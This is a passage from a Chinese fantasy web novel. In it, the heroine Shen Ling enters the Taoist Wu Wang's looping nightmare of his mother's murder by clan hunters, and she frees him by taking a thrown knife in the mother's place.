她一边跑，一边不时地回过头去张望后方，脸上露出惊恐万分的表情，仿佛在他们身后紧跟着一头凶猛无比的野兽，随时都会扑上来将他们撕成碎片。
而那个小男孩则紧紧跟随着女人的脚步，小小的身影在黑暗中显得那么脆弱无助，他身上还穿着白色卡通睡衣，睡眼惺忪着，头发乱糟糟的，似乎正睡到一半就被人从床上拉了起来。
这孩子双眼迷茫，完全不知道发生了什么事，只知道要跟着眼前这个唯一能保护自己的人一起逃离这片可怕的地方。
就这样，两人在漆黑的树林里盲目地狂奔着，没有明确的方向，也不知道前方等待着他们的究竟是什么……
沈聆出现在了树林里，抬起头，恰好看到这对母子朝着她跑来。
在他们跑过沈聆身边的时候，如穿梭过一阵雾气一样从沈聆的身体里穿过。
沈聆抬起手想说些什么，但转过头，发现这对母子已经朝着身后跑去。
她知道自己现在已经进入了吴妄的梦境里。
这里是以吴昂的记忆为基础构建的梦境，也是与现实世界十分相似的幻境世界，在这个世界里，显然是没有沈聆的存在的，因此，突然出现在幻境中的她并不能被幻境中的人所察觉，换言之，她是一个被屏蔽了的存在。
——看不到我吗？
沈聆低下头看了看自己的手，她这才发现，自己的身体在这个幻境中是半透明的模样，就如同一个隐形人活动在这个奇怪的时空里。
——如果我没有办法做些什么……
——如果道长听不到我的声音……
——那我该怎么唤醒他呢……
沈聆沉默着，陷入了思考。
但无论如何，她还是决定先跟上去看看，毕竟出现在这个幻境中的所有人和事，都是基于吴妄的真实记忆而构建的，那么，要唤醒这个幻境中的吴妄，就必须找到幻境的突破口。
沈聆这么想着，抬腿跟了上去。
那对母子的速度并不是很快，那个年轻的妈妈显然腿上有伤，她跑起来一瘸一拐的，而且在身后留下了清晰的血迹，但她像是带着某种坚定的决心，一定要带孩子离开这里一样，这股执念支配着她支撑着往前跑去。
沈聆没有费太大的力气便追上了这对母子。
“妈妈……妈妈……”
小男孩跑的上气不接下气，他气喘吁吁地看着拉着自己手的母亲，抬起小脸，一张小脸苍白苍白的，看着十分让人心疼。
“怎么了？”
小男孩的妈妈拉着他拼命往前跑，瞥了一眼小男孩。
“我们……我们这是要去哪里啊？”
“不知道，但是我们不能回家了。”
“为什么？爸爸还在家里啊，我们不带他一起走吗？”
“……你爸爸死了。”
“啊？”
小男孩的妈妈停下了脚步，她浑身是伤，但她还是深吸了几口气，尽量控制住自己的不安，蹲下身，用袖子擦去小男孩额头的汗。
“对，对不起，在你这么小的时候就要告诉你这个消息……接下来妈妈跟你说的话，你要记住，我们家族是很特殊的家族，我们的族人是上古的轩
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辕氏，我们族人的血脉中都流淌着轩辕一族的血，我们的血是稀血，但也正是如此，才给我们的族人引来的杀身之祸。”
“轩辕氏……”小男孩眨了眨眼睛，不是很能明白妈妈在说什么。
但看着母亲认真的表情，小男孩也用力点了点头，努力记住妈妈说过的话。
他也隐隐约约感觉到，今天家里出现了变故，并且，这个变故将影响到他的一生。
“我们一直以来都隐居在世外，但是不知道为什么，我们的家是轩辕氏的这件事情暴露了，很多仇家找上门，他们要我们的血提高自己的修为……你爸爸在帮我们断后，我要带你离开，现在就只剩我们了，我们要活下去，特别是你，知道吗？你是轩辕氏一族未来的希望。”
男孩的妈妈说着，按了按小男孩的肩膀，她用了点力气，男孩感觉到自己的肩膀被捏得一阵疼痛，但他不敢怠慢，仍用自己的小脑瓜尽量记住妈妈说过的话。
“我知道了妈妈，我会保护你的。”
小男孩说着，拍了拍胸脯。
“不，我不需要你保护我，我需要的是你要好好保护你自己，要活下去。”
小男孩妈妈说着，站起身就要拉着小男孩继续跑。
忽然，从他们母子二人身后的树林里传来了一些奇怪的动静，那动静最开始只是风吹过树叶的声音，但仔细一听便能发现，那声音像是什么东西藏在了草丛里并刻意压低了声音在其中穿行而过的声响。
有人靠近了！
沈聆也是心下一惊，她与男孩的妈妈一起循声看去，发现在十几米之外，有一伙人正朝着这边跑来，他们穿着黑色的衣服，手上拿着手电筒，他们走路很轻，似乎在有意隐藏自己的行踪，但速度却很快，明显是经过训练后的搜寻能手。
“不好，他们来了……”
男孩的妈妈犹豫了几秒钟后，直接推搡着男孩，将他推进了旁边的树丛里，示意男孩乖乖趴下，趴在树丛里，随后，又从旁边的树丛里抓过来许多枝叶覆盖在男孩身上，最大程度将小男孩的身体隐藏在树丛里。
最后，她还是不放心地从地上捧起几搓土，涂抹在男孩的脸颊上，尽量将男孩的气味隐蔽。
做完这一切后，身后的那伙人也发现了她的身影。
“在那边——”
“快追！”
“别让她跑了！”
“轩辕氏还有一个儿子，那小孩一定在那女的身边！”
那伙人说着朝着这边跑了过来，男孩的妈妈最后恋恋不舍地看了一眼藏着儿子的树丛，随后毅然决然地回过头，朝着另一个相反的方向跑去。
“沙沙……”
“沙沙……”
在她身后，那些人朝着她追了过去，并没有注意到一直趴在树丛里的小男孩。
“我让你跑！”
其中一个男人说着，从腰间抽出一把匕首飞掷了出去，那把闪着寒光的匕首在空气中划过一道弧度，正中女人的后背，她呜咽了一声后倒在了地上。
92. 山崖
寂静无声的树林里，夜幕笼罩着一切，伸手不见五指。
“刷……”
突然，一道寒光如同闪电般撕裂了这片黑暗，原来是一把飞掷而出的匕首！它以惊人的速度穿越空气，在空中划出一道弧线，眨眼之间，那把锋利无比的匕首准确无误地刺入了正在拼命逃跑的女人的后背。
只听得“噗”的一声闷响，女人的身体猛地一顿，仿佛被一股巨大的力量击中，紧接着，她发出了一声短促而痛苦的呜咽，随后便像失去了支撑的木偶一般，重重地摔倒在地。
殷红的鲜血从伤口处汩汩流出，迅速浸透了她身上那件洁白如雪的上衣，在夜色中显得格外刺眼。她趴在冰冷潮湿的地面上，身体不由自主地抽搐了几下，似乎还想挣扎着爬起来继续逃离，然而，伤势过重的她最终还是无力回天。
“……”
那双原本充满恐惧和绝望的眼睛，此刻下意识地望向了儿子所在的方向。当看到那伙穷凶极恶的追杀者并未察觉到儿子的藏身之处时，女人的脸上闪过一丝欣慰之色。
——尽管生命之火即将熄灭，但只要孩子能够安全无事，哪怕是牺牲她自己的性命也在所不惜。
“……”
终于，女人咽下了最后一口气，她死不瞑目，瞳孔逐渐放大，失去了焦距。
但即使已经离开了这个世界，她紧紧抠在泥土里的双手依然没有松开，仿佛想要抓住什么东西似的，这双紧握着土地的手，无言地诉说着她对生的渴望以及对命运不公的愤恨与不甘。
“快追！”
“在这里！”
“我找到她了！”
追杀者叫喊着、围了上来，他们将女子的尸体团团围住，其中一个带着黑色帽子的男人蹲下身，试探了一下女子的鼻息和脉搏之后，确定女子已经身亡，转过头看向了刚才丢出飞刀的人。
“顾老五，你怎么回事，怎么直接抬手把人杀了？！”
那叫顾老五的人，也是丢出飞刀的人，他是一个光头，身材瘦削，腰间鼓鼓囊囊的，一看就是一个玩弄飞刀的高手，腰间不知道还藏着多少凶器。
顾老五挠了挠头：“我……我只是想让她别跑了，谁知道她这么不经砍，一刀就没了。”
“她本来就浑身是伤，刚才在吴家村誓死抵抗已经耗尽了她的力气，本来也活不下去，你那一刀，算是补刀了吧。”在顾老五身后，一个略显年长的男人摇了摇头。
他似乎是这一伙人中的话事人，在他说话的时候，其他人自动让开了一个小小的区域，听从他的指示。
“不过，我们刚才在吴家村的时候，的确是看到她拉着一个小男孩跑掉了，怎么现在只剩下她一个人了？”
那人留着白色的八字胡，脸上皱纹密布，一头灰黑相间的头发让他看起来是这伙人里面年龄最大的，他的声音低沉而粗糙，压低了声音，用仿佛鬼魅一样的声音提示大家还有一个男孩似乎逃掉了。
“说来，我也没看到有什么小孩子……我们这一路追来，都是沿着这女人的血追踪的，应该不会有错。”
顾老五说着，抬腿踢了一下女人还没有冷却的尸体，就像对待一个垃圾一样觉得尸体碍眼。
沈聆站在几步之外，那几个人刚刚从沈聆身边跑过，似乎并没有注意到有这个人在原地，和那对母子一样，他们直接就穿过了沈聆的身体，就像是穿过一阵青烟一样。
还好，在这个幻境里，他们是看不见沈聆的存在的，但沈聆却将这一切都尽收眼底。
她此刻就站在小男孩藏身的树丛里，她知道，这里是小男孩母亲最后牵挂的地方，但距离那些追杀的人也不过五十步，这么近的距离，难保他们不会发现小男孩的存在……
沈聆下意识地看了看身边的草丛，她看见小男孩那双圆溜溜的眼睛正透过树叶之间的缝隙将一切都尽收眼底，他很机灵，虽然亲眼目睹了母亲的死亡，但这丝毫没有让他乱了方寸，相反，让他意识到了事态的严重性，让他知道，他的族人或许都已经和母亲一样，被这些素未谋面的陌生人杀掉了。
而自己，或许就是这伙人的下一个目标。
他们不知道从何而来，不知道是何身份，但他们今天晚上出现在吴家村，就是带着要屠杀村子的目的来的。
他们每个人身上都沾染着还没有凝固的血，一眼看去，大概有二三十个人，这些人像是凭空出现一样，突然出现在这个与世隔绝的小村子里，带着令人胆寒的杀意，誓要拿到自己想要的东西。
每一双眼睛都如同猎狗一样贪婪，他们开始搜查周围的树丛，想看看小男孩是否藏在树丛里。
“那个女人受伤了，没有办法跑太远，而且我们从她离开村子后就一直跟着她……她没有时间把孩子藏起来。那个孩子说不定还在附近，大家找一找，一定要把那个孩子找出来，他就是轩辕氏最后的血脉，他们的血，可是稀世珍品呢！”
在老者的一声令下，其他人开始四散开来，他们拨弄着周围的树丛，寻找着是否有小孩子的身影。
静谧的树林里，树丛被他们拨弄得沙沙作响，那声音听起来诡异而不安，令人不由得开始紧张了起来。
追杀者三三两两地以女人的尸体为圆心，开始寻找周围的树丛，甚至有的追杀者还将手电筒照向了旁边的树枝，生怕小孩子爬到树上被他们遗漏了。
——这些人到底是谁？
——那个小孩子，就是小时候的道长吗？
——难道说，他是轩辕氏的后代，在吴家村长大，但全家被杀害后才入了青城山？
沈聆沉思着，脑海中浮现出吴妄那清俊的面容，她总觉得吴妄身上带着一股“生人勿近”的气质，就仿佛是千万年的冰山一样，难以靠近。
但如果是因为他小时候的经历，那一切都不奇怪了。
那小孩子才五岁，五岁不到的年纪，就看见
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家人都被杀死了，甚至母亲在他眼前死去，这样的变故和打击，足以摧毁一个成年人的心智，如果没有被摧毁，那将变得更加冷漠和坚定。
——在这样家庭背景下长大的人，居然没有变成一个复仇杀人魔，也真是个奇迹。
沈聆暗暗想着，她瞥了一眼树丛，却惊讶地发现那……小孩子不知道从什么时候开始竟然不见了！
——去哪里了？！
一分钟之前，那孩子还趴在树丛里，脸上、身上涂满了泥泞，掩盖自己的味道，但现在他人已经不在树丛里了。
沈聆低下头找了一圈，但她没办法触碰到这个幻境里的任何东西，因此，虽然想拨开树丛找一找那孩子的身影，却没办法做到。
就在这时，另一侧有个人叫嚷了起来——
“有人在那里！”
他说着，挥舞着双手，指着一个方向。
所有人的视线均看了过去，发现一个小小的孩子正趴在地上匍匐前进。
在手电筒照在他身上的那一刻，他身上的树叶还掉落在地上，场面带着几分无奈。
手电筒的光将小男孩的影子投在身前，他动作一顿，微微回过头，发现现场二三十个人都正看着自己这边，双方对视了不到三秒钟，小男孩一个激灵、回过头朝着前面跑了出去。
“快追！”
“别让他跑了！他可是轩辕氏最后的血脉！他是嫡子，他身上的稀血是最纯正的！”
顾老五从腰间摸出了第二把飞刀，他手握着刀柄，将飞刀的尖端对准了十几步之外的小男孩，用舌头舔了舔下唇，喃喃自语道：“小兔崽子，你想跑到哪里去？！”
话音刚落，他手中的飞刀应声而出。
在漆黑如墨的夜色之中，那把闪烁着寒光的飞刀宛如一道流星般急速划过夜空！
它在空中划出一道弧线，精准地掠过了几个正气势汹汹地朝着小男孩猛追不舍的男人身旁，最后以迅雷不及掩耳之势直直地插入了小男孩左边的肩膀。
刹那间，一阵剧痛袭来，皮肉瞬间被切开，飞刀插入了肩胛骨，小男孩忍不住发出了一声凄厉的惨叫，整个身体也因为疼痛而猛地向一侧歪斜过去，他的身体一歪，便消失在了树丛的另一边。
“快追！绝对不能让那小子跑了！”为首的男人气急败坏地怒吼道。
当他们终于气喘吁吁地赶到树丛边时，眼前的景象却令他们瞠目结舌——树丛后，竟然是一处高达百尺的绝壁悬崖！
是的，这里是一条绝路，从断崖向下望去，只见深不见底的谷底被层层云雾所笼罩，根本无法看清下方究竟隐藏着怎样的凶险与未知，从这里摔下去，那必然是粉身碎骨的。
尽管如此，在他们脚下，小男孩留下的血迹依然清晰可见，那触目惊心的血迹洒落在断崖的边缘处。
——很明显，这个可怜的孩子在中刀之后，径直从山崖之上跌落了下去，生死未卜……
93. 道长的梦魇
沈聆跟着那些人赶到了断崖边上，看着断崖下云气缭绕的模样，她的心也不免跟着揪了起来。
眼前的孩子多半就是吴妄，而这一切都是基于他儿时的记忆构筑的，她知道吴妄会活下去，她像是已经提前看到了剧本的结局一般，但在知道了这曲折的过程后，还是不免为身处剧本中的人感到担忧和惋惜。
这时候的吴妄只有不到五岁，在这样的年纪了失去了所有的亲人，甚至被仇家追赶坠落山崖，他究竟经历了什么？又是如何找到青城山的？他的身世看起来比沈聆想得要更复杂一点，而轩辕氏的稀血又是什么意思？为什么拥有这样血的人就要遭到追杀，是否和灵元草一样，也是被他人觊觎的东西呢……
在沈聆沉思的时候，忽然，她发现在场所有人都不动了。
时间就像是静止一样，在所有人追赶到断崖边上的时候，便忽然停滞不动了。
一个个身着黑衣的追杀者就这么站在原地，保持着不同的动作，甚至就连被风吹起的衣角也定格在原地。
“怎么回事？”
沈聆抬起手在他们面前挥舞了一下，但他们有的保持着错愕的表情，有的满目愤怒，有的抬起手正打着手势，有的探出身子看向断崖的下面，他们姿势各异，但却都一动不动。
“卡拉……”
就在这一刹那间，仿佛整个世界都被按下了毁灭的按钮一般，原本如梦似幻的场景瞬间分崩离析。
强烈的震动犹如万马奔腾，地面疯狂颤抖着，好似要将一切都吞噬殆尽，周围的世界像是遭遇了末日审判，开始以一种极其恐怖的方式崩溃瓦解。
——这个世界开始崩塌了。
——发生了什么事情？
——是梦主惊醒了吗？
沈聆手足无措地蹲下身，想尽量保持平衡。
这一刻，高耸入云的山脉在剧烈的摇晃中轰然倒塌，扬起漫天尘土；郁郁葱葱的树木发出痛苦的断裂声，粗壮的枝干无力地坠向地面；而原本湛蓝如洗的天空也突然出现了一道道巨大且狰狞的裂痕，宛如一张破碎的蜘蛛网，迅速蔓延开来。
在场的每一个人都无法保持平衡，静止中的他们，无声地随着大地的倾斜而歪斜着，纷纷向着深不见底的山崖坠落下去，就像是一个个塑料人偶，就连沈聆也不例外。
“啊——”
伴随着又一阵震耳欲聋的地动山摇之声，沈聆惊恐地发现自己脚下的山崖竟然裂开了一道巨大无比的裂缝！
那一条条黑色的、弯曲的缝隙就像恶魔张开的血盆大口，无情地将坚实的大地撕扯成了无数个支离破碎的部分，整座山峰如同发了狂的巨兽，剧烈地抖动着身躯，沈聆只觉得一股强大的力量将她猛地拽下，让她失去了重心。
眨眼之间，她便跌入了山崖断开的缝隙之中，眼前只剩下一片无尽的黑暗，仿佛永无止境。
……
黑暗。
或许，这两个字用来形容吴妄的过去，再合适不过。
他的人生就像这断裂的悬崖一样，在那一个晚上后瞬间山崩地裂，他从吴家村的幼子，变成了一无所有的孤儿，他的人生在那一晚上出现了转折的拐点，他开始走向一个从来没有想象过的世界。
……
当沈聆再一次缓缓地睁开双眼时，她惊讶地发现自己竟然又置身于那片黑暗笼罩下的树林之中。
与上次相同，这里依然被深沉的寂静所包裹，整个树林宛如陷入了一场永恒的沉睡，那些高大的树木静静地矗立着，如同沉默不语的见证者，默默地注视着岁月如流水般悄然流逝，目睹着山川地貌的变迁更迭，尽管它们无法开口诉说，但却以一种独特的方式成为了时间的忠实旁观者。
这片黑暗的树林显得格外神秘而深邃，月光只能透过树叶间狭窄的缝隙洒下微弱的光芒，使得周围的环境更显阴森。
低矮的灌木丛密密麻麻地生长在一起，枝叶相互交织纠缠，仿佛在守护着什么秘密，脚下的泥土因为雨水的浸润变得泥泞不堪，每走一步都会发出“噗嗤”的声响，让人不禁心生警惕。
沈聆环顾四周，那种奇怪的熟悉感再次涌上心头。
这里的一草一木都和上一次一样，梦境似乎重新按下了启动键，再一次重复上演相同的剧情，她身处其中，被迫遵循梦境的循环规则，同时又夹杂着一丝难以言喻的不安。
——我又回来了……
沈聆沉默着，下意识地看向自己的左手边。
果然，在那个方向，有个女人正拉着一个孩子朝着她跑来！
——是他们……
沈聆往后退了一步，这一次，她给他们让出了一条道，只见那浑身是血的女人正气喘吁吁地拉着一个小男孩跑过，她身上全都是血，大片大片的血液染红了她白色的衣服，那些血液看上去有她自己的，也有别人的，她像是刚刚经历了一场大屠杀一样，眼眸中满是惊慌失措，但紧紧握着儿子的手却体现了她作为母亲最后的倔强。
小男孩跟在母亲后面，他不明白今天晚上到底发生了什么，只知道跟着母亲跑，用尽自己所有的力气往前跑，似乎只要停下来，就会被身后的野兽追上、啃食殆尽。
他们跑向了更加幽暗的森林，沈聆沉默着看着他们的背影，内心感到一阵心疼。
她是知道接下来会发生什么的。
她知道了所有故事的结局，但是作为旁观者的她却没办法改变这个故事的走向。
在这个故事里，是没有她的，因此，突然闯入梦境中的她，对梦境里的其他所有人来说都是一个不存在的存在，他们听不见她的声音、看不见她的身体，她只能旁观着一切悲剧的发生，却无法改变什么，这种油然而生的无力感给了沈聆挫败的感觉，她握紧了拳头，内心一阵烦躁。
“快追！”
“他们朝着这个方向跑的！我刚才看见了！”
“他奶奶的，早知道就带一条狗了！让猎狗咬死他们！”
“这可不行，我们要
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活的，死了的轩辕氏可就不值钱了，活着的人才可以一直给我们提供稀血……”
几个身着黑衣的人跟着那对母女追了上来，他们七嘴八舌地说着，沿着地上男孩妈妈留下的血迹追了上去。
在跑过沈聆身边的时候，他们也没有注意到站在路边的沈聆。
这一切都和上一次一样，有着相同的剧本，有着相似的步骤。
沈聆一咬牙，跟了上去。
和上一次一样，这一次，男孩的妈妈也将小男孩藏在了树林里，并自己吸引走了其他追杀者的注意，在被顾老五的飞刀杀死后，小男孩从藏身的树丛里跑了出来，并在试图逃走的时候被其他人发现、追赶到了断崖边，顾老五的一记飞刀插在了小男孩的肩膀上，他趔趄着摔下了山崖，在众人追赶到断崖边的时候，时间再一次静止了。
在没有静止多久之后，梦境又开始崩塌，天崩地裂后，所有的一切再一次重塑，回到了梦境刚开始的那一刻。
沈聆睁开眼睛，看见自己又一次回到了树林里。
每一次梦境的开始都是在这里，都是在相同的位置，重复相同的事情。
——我该如何唤醒道长呢。
沈聆沉思着。
她现在已经知道事情的来龙去脉了，但却暂时没有破局的办法。
这个梦境是基于吴妄的心魔构建的，如果要唤醒吴妄，就一定要破解这个局。
——我的梦境，是我的遗憾。
——我在梦里看到了爸爸妈妈和沈凝，因为我曾经很希望回到过去一家四口的日子。
——那道长的梦境，是不是也是道长的遗憾呢……
那对母子再一次从沈聆面前跑过，沈聆看着那浑身是血的年轻妈妈，思绪展开……
——为什么……道长会一直重复梦到这个场景呢？
——是不是他很自责，如果当时自己做点什么，会不会母亲就不会因为保护自己而死亡了……
——所以，道长的遗憾是没有办法保护自己的妈妈。
——亲眼看着母亲死在自己面前，这个场景成为了这孩子一生的梦魇。
——他的幻境不是满足自己曾经某种美好的幻想，而是希望回到那个可怕的晚上，救出母亲，这是他的迷障，也是他的业果。
“他们往这边跑了！”
“追！”
“别让他们逃了！那可是梁家出高价悬赏的东西，做得好了说不定还有额外奖赏！”
几个黑衣男人说着从沈聆身边跑了过去，他们如同猎狗一样追着那对可怜的母子，生命，在他们眼中似乎只是一件可以商讨价格的商品。
沈聆看见顾老五也在其中，也看到了他腰间鼓鼓囊囊的像是飞刀的系带。
他是这一切悲剧的始作俑者，也是这场梦境中的恶魔。
她沉默了半晌，喃喃自语道——
“灵元草，你能帮我做一件事情吗？我想结束这个梦境，我想……代替某个人死去。”
94. 以身入局
郊外，宁静的公园被夜色所笼罩。
清冷的夜风吹过公园的长椅，周围的树木沙沙作响，仿佛在低吟着古老的歌谣。树叶在风中摇曳，斑驳的影子如同舞动的精灵，在地面上跳跃着。远处，湖水泛着微微的波光，如同神秘的镜子，倒映着天空中的繁星和周围的景色。
漫天繁星，澄澈的天空仿佛是黑色的幕布一样，上面点点星子闪烁着，俯视着人间大地。那璀璨的星光如同宝石般洒落在夜空中，有的明亮耀眼，有的微弱闪烁，共同编织出一幅美丽的星空画卷。
偶尔，一颗流星划过天际，留下一道绚丽的光芒，瞬间消失在无尽的黑暗中。
吴妄盘腿坐在公园的长椅上，他双目紧闭，面容沉静，犹如入定了的高人。
只见他眉头微微蹙起，似乎被什么可怕的东西梦魇住了，额头密密地沁出了几分冷汗，靠在双膝上的手也不由得用劲了几分。
他的嘴唇微微颤抖着，仿佛在无声地诉说着内心的恐惧。
一向淡定从容的他，极少露出这样的表情。
似乎只有在睡着之后，真实的情感才会在他身上表露出来，无论是深藏在内心的失落，亦或是被压抑了多年的愧疚。
他藏得很好的某些情绪，却在睡着之后，在梦境里，在睡容上，表露无疑。
“喵……”
此时，一只黑色的猫从草丛里钻了出来。
是沈聆养的名为警长的黑猫。
它轻盈地迈着脚步，尾巴高高翘起，那双墨绿色的眼睛如同黑夜中耀眼的宝石一般闪烁着莹莹亮光，透露出神秘而聪慧的光芒。
它停下脚步，警惕地观察着周围的环境，耳朵不时地转动着，捕捉着任何细微的声音。
环视了一圈后，它的目光落在了几步之外的吴妄身上。
“喵……”
在看到吴妄的时候，像是终于找到了自己想找的某个东西，黑猫眼前一亮。
它压低声音，毛茸茸的脚垫小心翼翼地踩过粗糙的沥青路，每一步都轻盈无声，它的身体微微弓起，随时准备应对可能出现的危险。
最后，它敏捷地越过公园的栏杆，跳到了长椅上，来到了吴妄的身边。
坐下身，它抬起头，看了一眼吴妄，但对方似乎丝毫没有注意到它的存在。
——他怎么了吗？
黑猫警长歪着脑袋，眼神中充满了疑惑和担忧。
“喵……”
抬起前肢，黑猫轻轻地扒拉了一下吴妄的衣服，然后低下头，用牙齿咬住了吴妄的衣角，往后拖拽了一下。
警长的动作虽然轻柔，但却透露出一种急切和坚定。
它似乎想要将他带去某个地方，但此刻打坐入定的吴妄却依旧紧闭双眼，没有任何反应。
警长再次用力拉扯着衣角，身体向后倾斜，使出全身的力气。然而，吴妄依旧一动不动，仿佛陷入了深深的沉睡之中。
黑猫无奈地松开了衣角，围着吴妄转了几圈，嘴里不停地发出“喵喵”的叫声。
吴妄像是睡着了。
又像是被困在了某个不为人知的地方。
他虽然依旧在呼吸，但却梦呓喃喃，看起来完全感知不到周围的一切变故。
“喵……”
黑猫再次拉扯了一下道长的衣角，见道长没有转醒的迹象，只能委屈地耷拉着耳朵，缓缓地蹲在道长身边。
它的眼神中充满了无助和绝望，不知道该如何是好。
它没有其他办法了。
沈聆不见了。
而道长，是它目前知道的唯一能救主人的人。
可现在，似乎道长也被困住了。
现在，还能有什么办法呢？
黑猫静静地守在吴妄身边，等待着奇迹的出现。
……
与此同时。
在吴妄的幻境里。
事情在一遍又一遍地重复上演。
相同的剧情，相同的人物。
这场梦境似乎永远不会有结束的那一天。
吴妄被困在了自己的梦里，就像他的心，也被困在了十多年前的那一天。
沈聆能够从自己的梦境里挣脱出来，是因为她对于现实的认识有着可怕的清醒，她知道自己还有一个命悬一线的妹妹需要自己去救，也知道自己还有一个年迈的外婆需要照顾，这些事情都是一道冰冷的理智的底线，让她即使在沉入梦境的时候，还会保持悲哀的清醒。
但吴妄不一样。
他的梦境的基础是负面情绪，是自己满心愧疚的过去，这样的愧疚越深，吴妄就越难挣脱开这个梦境。
与其说是梦境，更不如说是他埋在心里十多年的噩梦。
生母在面前被杀死，他没有一天是不想回到过去、回到那片树林里的，他自责于自己的无能为力，也仇恨于那些杀死父母亲族的人，这些负面情绪就像是一个沼泽地，只会让他越陷越深。
他没有任何自主挣扎清醒的可能，因为他自己也希望回到那一天，希望能做点什么改变那一切。
不知道重复上演了多少遍。
当小男孩再一次趴在树丛里的那一刻，粗糙的枝叶划破了他的脸颊，他抬起头看向了母亲，似乎想留住母亲最后在自己脑海中的面容，又带着几分想要抓住流沙一样的无能为力的渴望。
“你乖乖躲在这里，千万不要出来，无论听到什么动静，都不要出来。”
男孩的妈妈压低了身体蹲在树丛前，她顺手抹了一把地上的泥土，将泥土插在男孩的脸颊上，拍了拍男孩的脑袋，那眼神温柔中带着几分不舍，似乎在和男孩做最后的告别。
男孩眨了眨眼睛，此时的他不太明白为什么母亲会这么做，但他还是乖乖地点了点头。
母亲在藏好小男孩后，转身朝着小树林的另一侧跑去。
小男孩躲在树丛里，他朝着母亲的背影伸出小手，似乎想抓住些什么。
就在这时，他听到一阵急促的脚步声传来，他小心翼翼地朝着那声音看去，发现一伙人追了过来。
"这里！”
“我看到那个女人了！”
“快追！别让她跑了！”
穷凶极恶。
穷追不舍。
他们跟在这对母子的身后，像是嗅到了猎物气息的猎狗一样，跑过密集的小树丛，朝着踉踉跄跄的女人追了过去。
“顾老五，你不是会用飞刀吗？快想点办法！”
“知道了，还用你啰嗦？！”
顾老五说着，低下头掏出了腰间的飞刀，他停住了
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脚步，将刀尖瞄准了十几米之外的女人。
“你想要哪里跑？！”
话音刚落，那把闪烁着寒光的飞刀便飞了出去。
锋利的飞刀在空中划过一道弧度后，插向了女人的后背。
女人微微回过头，看着飞向自己的飞刀，不由得睁大了眼睛。
“嚓……”
但就在这一瞬间，飞刀并没有插入女人的后背，一个身影挡在了她面前。
是沈聆！
只见她用自己的身体为阻拦，挡住了顾老五的飞刀，那把飞刀擦过林间的枝叶后，插入了沈聆的身体里！胸口的灵元草微微发出荧光，那是灵元草的力量，让她一瞬间有了化形的可能。
锋利的刀刃插入了她右侧胸口，她的身体颤抖了一下后，如落叶一般往后倒去。
就在千钧一发之际，男孩的母亲毫不犹豫地转过身、伸出双手，试图接住即将倒地的沈聆。然而，当她的手掌与沈聆的身躯接触的瞬间，神奇的事情发生了——灵元草散发出的光芒骤然亮起，宛如夜空中璀璨的星辰，将周围的一切映照得如梦似幻。
在这片炫目的荧光笼罩下，男孩母亲的身体仿佛被一层神秘的力量所包裹。
紧接着，只听得一声轻微的响动，如同晨雾被风吹散一般，一阵青烟袅袅升起。
待青烟渐渐消散之后，原本的男孩母亲竟然消失不见了，取而代之的竟是吴妄！
吴妄接住了沈聆倒下的身体，他的动作很轻，似乎担心自己弄疼眼前这个受伤的女孩。
剧烈的疼痛如潮水般席卷而来，令沈聆几乎昏厥过去。
“咳……”
伴随着一阵撕心裂肺的咳嗽声，一股浓烈的血腥气息从沈聆的喉咙深处涌上，随后大口大口的鲜血顺着她苍白的唇角汩汩流出，染红了她胸前的衣襟。
她艰难地抬起头，望向面前的吴妄。
只见吴妄半蹲在地上，右手紧紧地抱住了她摇摇欲坠的身体，紧皱的眉头显示出他内心的忧虑和关切。他的眼神无比复杂，既有对沈聆伤势的担忧，又有深深的自责和懊悔。
“道长，你出现了，我还以为你不会出现的……咳咳……”
沈聆气若游丝地说道，每说一个字都仿佛要耗尽全身的力气。
那把飞刀犹如恶魔的獠牙，无情地贯穿了她的动脉，刺破了她脆弱的肺部，随着每一次咳嗽，都牵拉着伤口，从口鼻涌出更多的血。
吴妄见状，冷着脸沉声说道：“你不要命了，你不属于这个地方，你有没有想过如果你死在这里，会有什么后果。”
“没事，毕竟是在梦境里……只不过，这东西好像比我想象中更痛一点……早知道换个角度接飞刀了。”
此刻的沈聆已经无法再说出完整的话语，只能用微弱而颤抖的声音断断续续地吐出几个模糊不清的字眼。
她以身入局，打破了这个死局，引出了吴妄。
这对她来说，就足够了。
沈聆颤颤巍巍地伸出手，吴妄看出了她的意思，握住了她的手。
他的手暖暖的，那温度便从吴妄的手掌染上了沈聆冰冷的指尖。
“跟我回去吧，道长，这里是‘过去’，但你属于‘现在’，你还有‘未来’，你不应该被困在这里……”
95. 沉溺
道长一言不发地凝视着怀中的沈聆，他那双深邃如渊的眼眸里，不知何时悄然染上了几缕难以言喻的复杂情愫。
——沈聆孱弱的身体赫然插着一把锋利无比的刀，鲜血从伤口处汩汩流出，迅速浸染了她的衣裳，形成一片片触目惊心的殷红。然而，即便身处如此重伤之下，她的嘴角依然微微上扬，绽放出一抹令人心碎的浅笑。
仿佛就在见到道长的那一刹那间，她所承受的所有痛苦和磨难都变得微不足道起来，哪怕付出再多的代价，只要能让道长明白真相，一切便都是值得的。
是她，亲手打破了道长心中那个构建的幻境；是她，以无畏的勇气揭开了道长深藏心底多年的心结；更是她，用这般决绝而又残忍的方式逼迫着道长不得不从虚幻的梦境中苏醒过来，直面眼前这残酷无情的现实。
不可否认，她的这一举措无疑是明智之举，唯有如此才能唤醒沉迷于幻境中的道长。
但与此同时，这种做法又是何其残忍！她残忍地告诉道长，他一直以来心心念念的母亲早已离他而去，世间万物皆如梦幻泡影般虚无缥缈，他想回到那个夜晚救下母亲的心愿也只不过是无法达成的奢望罢了。
吴妄叹了口气。
“所以，你是先一步醒过来了是吧。”
“对，我从我的幻境里醒来后发现我们都在一个透明棺材里……咳咳……棺材沉浮在血海里，不、不止我们，还有……咳咳……秦琴……”
吴妄叹了口气：“我这样的人，不值得你做这些，你虽然有灵元草，但这里是厉鬼的结界，如果你死在我的梦境里，或许永远都回不去现实世界了，你知不知道。”
沈聆微微张开口，像是想要说些什么，但她嘴巴里都是血，从肺部涌出的血让她无法呼吸，她只能摇了摇头，表示自己并不担心那些。
抬起手指了指吴妄，复又指了指自己。
她的意思似乎在说……
【有你在，我不担心。】
吴妄摇了摇头，像是妥协于眼前这个少女的决心一样，他一挥手，周围的场景顿时散去了——无论是追杀这对母子的那些男人，还是藏在草丛里的小男孩，亦或者是周围的一草一木，在吴妄抬手的瞬间，如烟尘一样消散了。
沈聆看着周围消散的幻境，心中暗想着……
他不是没有能力破除梦境，只是自己不愿意醒来。
其实从始至终，困住他的，都是他自己罢了。
他只不过是想在那个幻境里，看看逝去的母亲的面容，希望能为自己赎罪罢了。
“你不用责怪自己……道长……那时候……你只是个小孩子……”
